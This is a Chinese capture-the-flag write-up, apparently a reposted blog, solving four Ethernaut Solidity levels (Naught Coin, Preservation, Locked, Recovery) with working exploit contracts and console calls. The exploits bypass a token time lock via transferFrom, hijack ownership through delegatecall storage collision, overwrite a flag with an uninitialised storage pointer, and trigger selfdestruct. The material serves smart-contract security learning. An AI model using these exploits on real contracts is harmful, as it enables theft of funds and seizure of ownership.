Naught Coin
目標:如今手裏有一些代幣,可是十年以後才能轉走,先辦法轉走他們,使得你合約中的代幣爲 0javascript
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { using SafeMath for uint256; string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } }}
先看一下有多少代幣php
await contract.balanceOf(player)css
在合約中,他 import 了一個 StandardToken.soljava
pragma solidity ^0.4.6;import './ERC20Lib.sol'; contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; string public name = "SimpleToken"; string public symbol = "SIM"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10000; function StandardToken() { token.init(INITIAL_SUPPLY); } function totalSupply() constant returns (uint) { return token.totalSupply; } function balanceOf(address who) constant returns (uint) { return token.balanceOf(who); } function allowance(address owner, address spender) constant returns (uint) { return token.allowance(owner, spender); } function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } function approve(address spender, uint value) returns (bool ok) { return token.approve(spender, value); } event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
引用的這個合約中有兩個轉帳函數,一個是 transfer 還有一個是 transferFrom,而題目的合約只對 transfer 進行了重寫,咱們能夠使用題目 import 的那一個合約中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎麼定義的,他須要先通過 approve 批准才能使用nginx
...function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from][msg.sender] = _allowance.minus(_value); Transfer(_from, _to, _value); return true; }... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }...
使用 approve 進行受權typescript
await contract.approve(player,toWei(1000000))
而後經過 transferFrom 來實施轉帳數組
await contract.transferFrom(player,contract.address,toWei(1000000))
Preservation
目標:拿到合約全部權微信
pragma solidity ^0.4.23;contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; }//構造函數 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); }}contract LibraryContract { uint storedTime; function setTime(uint _time) public { storedTime = _time; }}
delegatecall 調用的時候執行的是調用的那個函數,可是用的是本合約的變量,能夠寫一個 expapp
pragma solidity ^0.4.23;contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = address(_time); }}
首先調用正常合約中的一個函數 setxxxTime("惡意合約地址"),這樣就能夠把他的變量改爲了咱們的合約地址,再次去調用的時候就是去執行咱們合約中的代碼了,好比:函數
await contract.setSecondTime("惡意合約的地址")
這樣 timeZone2Library 就成了惡意合約的地址,再次去執行 setSecondTime 的時候就是執行的惡意合約了,拿咱們部署的來講就是改變了合約的全部者
await contract.setFirstTime(player)
一開始合約全部者不是咱們,後面咱們已經成爲了合約的全部者,在第一次作的時候這樣是不行的,要先用 setSecondTime 設置惡意合約爲變量,而後 setFirstTime 來改變合約全部者,不明白怎麼回事
Locked
目標:註冊
pragma solidity ^0.4.23;contract Locked { bool public unlocked = false; //默認是false struct NameRecord { //咱們想要註冊 bytes32 name; address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); //要讓unlocked爲true才能註冊 }}
這裏涉及到一個變量覆蓋的問題,咱們知道在 solidity 中是有兩種存儲狀態的,一個是 storage 一個是 memory,對於 struct 和 數組 來講,默認就是 storage ,對應上面咱們的第 12 行 NameRecord newRecord 會被當成一個指針,newRecord.name 默認指向第一個存儲塊,也就是 unlocked,因此咱們能夠經過修改 newRecord.name 來修改 unlocked
參考:https://xz.aliyun.com/t/7152
當輸入
name="0x0000000000000000000000000000000000000000000000000000000000000001"(63 個 0),地址爲任意地址時,會覆蓋 unlocked 的值,使其變爲 true
Recovery
目標:新生成了一個合約並轉了 0.5 ether,可是丟失了合約地址,從丟失的合約中恢復 0.5 ether
pragma solidity ^0.4.23;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); }//新建了下面的合約}contract SimpleToken { using SafeMath for uint256; string public name; mapping (address => uint) public balances; constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } function() public payable { balances[msg.sender] = msg.value.mul(10); } function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } function destroy(address _to) public { selfdestruct(_to);//自毀函數,pubic的 }}
生成一個實例以後去看一下詳情(國內 404,因此要..)
能夠看到,咱們的賬戶給了他 1 ether,而後他又給了另外一個地址 0.5 ether,這就是新建立的合約的地址,咱們只須要調用新建的這個合約的 destory
mark一下,新建合約:
0xD2F46c7A6F69d56570BF25346f0Cc893a5925828
exp:把新建的合約地址貼上去部署 RecoveryPoc
pragma solidity ^0.4.23;contract SimpleToken { string public name; mapping (address => uint) public balances; function() public payable ; function transfer(address _to, uint _amount) public ; function destroy(address _to) public ;}contract RecoveryPoc { SimpleToken target; constructor(address _addr) public{ target = SimpleToken(_addr); }//構造函數 function attack() public{ target.destroy(tx.origin); }}
把那 0.5 ether 還給了咱們,同時本身銷燬了
提交就能夠啦
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。